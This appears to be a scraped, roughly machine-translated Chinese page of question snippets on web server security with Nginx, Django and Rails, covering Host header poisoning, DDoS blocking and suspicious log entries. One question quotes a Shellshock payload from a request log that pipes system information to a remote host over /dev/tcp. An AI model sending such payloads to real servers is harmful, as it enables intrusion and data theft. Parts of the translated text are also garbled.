Articles of 安全性

在这种情况下Host Host中毒是可能的吗?

Django团队认为主机头中毒(CVE-2011-4139和CVE-2012-4520)是一个必须在框架级别解决的安全问题。 例如金字塔(也就是说,它的底层底层请求wrapper-webob)并不认为这是一个问题。 在生产和开发机器上,我有nginx,它似乎传递正确的SERVER_NAME即使Host头包含完整的垃圾,并回应444没有响应,如果没有匹配的server_name 。 问题:如果我使用SERVER_NAME来build立绝对URL,我应该担心Host header中毒吗?

无论如何,使Rails / Rack应用程序告诉Web服务器放弃连接

有很多安全的原因,为什么要放弃一个没有响应的HTTP连接(例如, OWASP的SSL最佳实践 )。 当这些可以在服务器级检测到,那没什么大不了的。 但是,如果只能在应用程序级别检测到这种情况呢? Rails或更一般的Rack是否有任何标准的方法告诉服务器在没有响应的情况下删除连接? 如果没有,是否有一些标准的头文件可以在普通的Web服务器上实现(我在想Nginx或Apache)? 即使没有标准头文件,是否有合理的方式来configuration这种行为? 这是一个傻瓜的差事吗?

在远程运行时,Django的内置testing服务器有多危险?

关于使用manage.py runserver命令启动的内置debugging服务器,Django文档声明:“不要在类似于生产环境的任何情况下使用此服务器”。 如果我想在远程计算机上通过ssh开发一个Django应用程序,那么将Nginx作为正在运行的Djangodebugging服务器的代理是合理的事情吗? Djangodebugging服务器是不是安全的,或者只是没有build立处理大量的stream量?

Nginx将安全标志从代理服务器上移除到Cookies

我使用Nginx作为反向代理服务器。 是否有可能使用Nginx以某种方式删除“安全”的标志? 修改path是可能的,所以我想也可以修改cookie。

PHPconfiguration模块安全注意事项

什么是PHPconfiguration中的模块被认为是较高的风险,应该避免或额外的安全措施应该考虑实施? (除了Apache / Nginx /基础设施考虑之外)

用nginx反向代理+ gunicorn防止DDOS攻击,用于Django应用程序

我正在编写一个Django应用程序,它使用nginx反向代理+ gunicorn作为生产中的networking服务器。 我想包括阻止来自某个IP(或IP池)的DDOS攻击的能力。 这是处于nginx级别,而不是代码中的任何更深层次。 我需要一个Web应用程序防火墙吗? 如果是这样,我该如何整合它。 我的项目的nginx文件位于可用的站点有: server { listen 80; charset utf-8; underscores_in_headers on; location = /favicon.ico { access_log off; log_not_found off; } location /static/ { root /home/sarahm/djangoproject/djangoapp; } location /static/admin { root /home/sarahm/.virtualenvs/myenv/local/lib/python2.7/site-packages/django/contrib/admin/static/; } location / { proxy_pass_request_headers on; proxy_buffering on; proxy_buffers 8 24k; proxy_buffer_size 2k; include proxy_params; proxy_pass http://unix:/home/sarahm/djangoproject/djangoapp/djangoapp.sock; } error_page 500 […]

我应该阻止HTTP 1.0请求吗?

我在我的网站中使用$ _SERVER ['HTTP_HOST']作为绝对path。 但是,经常,我发现HTTP / 1.0请求的nginx错误日志与未定义的HTTP_HOST。 阻止这些要求是可取的吗? 什么是阻止他们的最好方法?

Django可能的安全攻击

我已经设置django通过电子邮件提醒我,当任何请求失败,我不断收到这封电子邮件: Referrer: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21" Requested URL: /cgi-bin/index.cgi User agent: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21" IP address: 127.0.0.1 这是什么意思? 我应该打扰吗? 我正在使用nginx,ubuntu,gunicorn。

有人试图进入我的服务器?

我上周托pipe了我的Rails应用程序。 今天我正在浏览我们的日志文件,发现了很多这样的请求。 I, [2016-03-14T00:42:18.501703 #21223] INFO — : Started GET "/testproxy.php" for 185.49.14.190 at 2016-03-14 00:42:18 -0400 F, [2016-03-14T00:42:18.510616 #21223] FATAL — : ActionController::RoutingError (No route matches [GET] "/testproxy.php"): 有人正试图从不同的IP地址testproxy.php 。 一些IP来自波兰,另一些来自香港。 我受到某人的攻击吗? 我有什么select来保护自己。 以下是日志文件的其他输出: I, [2016-03-14T03:09:24.945467 #15399] INFO — : Started GET "/clientaccesspolicy.xml" for 107.22.223.242 at 2016-03-14 03:09:24 -0400 F, [2016-03-14T03:09:24.949328 #15399] FATAL — […]

在Django / Nginx中限制对静态文件的访问

我正在build立一个系统,允许用户生成一个文件,然后下载它们。 这些文档是PDF文件(对于这个问题不重要),当它们生成时,我将它们存储在我的本地文件系统上,Web服务器上运行着uuid文件名 c7d43358-7532-4812-b828-b10b26694f0f.pdf 但我知道“安全通过默默无闻”是不正确的解决scheme… 如果可能,我想限制对每个帐户的访问权限。 我想我可以做的一件事就是将它们上传到S3并提供一个签名的URL,但是如果可能的话,我现在要避免这种情况。 我正在使用Nginx / Django / Gunicorn / EC2 / S3 什么是其他解决scheme?